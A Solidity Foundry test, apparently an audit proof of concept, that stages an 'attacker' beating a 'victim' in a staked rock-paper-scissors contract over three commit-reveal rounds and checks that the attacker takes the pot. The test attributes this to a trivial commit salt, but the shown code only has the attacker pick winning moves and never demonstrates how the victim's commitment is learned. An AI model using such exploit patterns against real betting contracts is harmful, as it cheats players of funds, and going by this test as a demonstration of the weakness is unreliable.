pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
contract RockPaperScissorsExploitTest is Test {
RockPaperScissors public game;
address public attacker;
address public victim;
uint256 public constant BET_AMOUNT = 0.1 ether;
uint256 public constant TIMEOUT = 10 minutes;
uint256 public constant TOTAL_TURNS = 3;
function setUp() public {
game = new RockPaperScissors();
attacker = makeAddr("attacker");
victim = makeAddr("victim");
vm.deal(attacker, 1 ether);
vm.deal(victim, 1 ether);
}
function testExploitTrivialCommitHash() public {
vm.prank(victim);
uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(
TOTAL_TURNS,
TIMEOUT
);
vm.prank(attacker);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
bytes32 victimSalt = keccak256(abi.encodePacked("victim salt"));
bytes32 victimCommit = keccak256(
abi.encodePacked(uint8(RockPaperScissors.Move.Rock), victimSalt)
);
vm.prank(victim);
game.commitMove(gameId, victimCommit);
bytes32 attackerSalt = bytes32(uint256(1));
bytes32 attackerCommit = keccak256(
abi.encodePacked(uint8(RockPaperScissors.Move.Paper), attackerSalt)
);
vm.prank(attacker);
game.commitMove(gameId, attackerCommit);
vm.prank(victim);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), victimSalt);
vm.prank(attacker);
game.revealMove(
gameId,
uint8(RockPaperScissors.Move.Paper),
attackerSalt
);
(
,
,
,
,
,
,
,
,
,
,
,
RockPaperScissors.Move moveA,
RockPaperScissors.Move moveB,
uint8 scoreA,
uint8 scoreB,
) = game.games(gameId);
assertEq(uint8(moveA), uint8(RockPaperScissors.Move.None));
assertEq(uint8(moveB), uint8(RockPaperScissors.Move.None));
assertEq(scoreA, 0);
assertEq(scoreB, 1);
victimCommit = keccak256(
abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), victimSalt)
);
vm.prank(victim);
game.commitMove(gameId, victimCommit);
attackerCommit = keccak256(
abi.encodePacked(uint8(RockPaperScissors.Move.Rock), attackerSalt)
);
vm.prank(attacker);
game.commitMove(gameId, attackerCommit);
vm.prank(victim);
game.revealMove(
gameId,
uint8(RockPaperScissors.Move.Scissors),
victimSalt
);
vm.prank(attacker);
game.revealMove(
gameId,
uint8(RockPaperScissors.Move.Rock),
attackerSalt
);
victimCommit = keccak256(
abi.encodePacked(uint8(RockPaperScissors.Move.Paper), victimSalt)
);
vm.prank(victim);
game.commitMove(gameId, victimCommit);
attackerCommit = keccak256(
abi.encodePacked(
uint8(RockPaperScissors.Move.Scissors),
attackerSalt
)
);
vm.prank(attacker);
game.commitMove(gameId, attackerCommit);
vm.prank(victim);
game.revealMove(
gameId,
uint8(RockPaperScissors.Move.Paper),
victimSalt
);
uint256 attackerBalanceBefore = attacker.balance;
vm.prank(attacker);
game.revealMove(
gameId,
uint8(RockPaperScissors.Move.Scissors),
attackerSalt
);
(, , , , , , , , , , , , , scoreA, scoreB, ) = game.games(gameId);
assertEq(scoreA, 0);
assertEq(scoreB, 3);
uint256 totalPot = BET_AMOUNT * 2;
uint256 fee = (totalPot * 10) / 100;
uint256 expectedPrize = totalPot - fee;
assertEq(attacker.balance - attackerBalanceBefore, expectedPrize);
}
}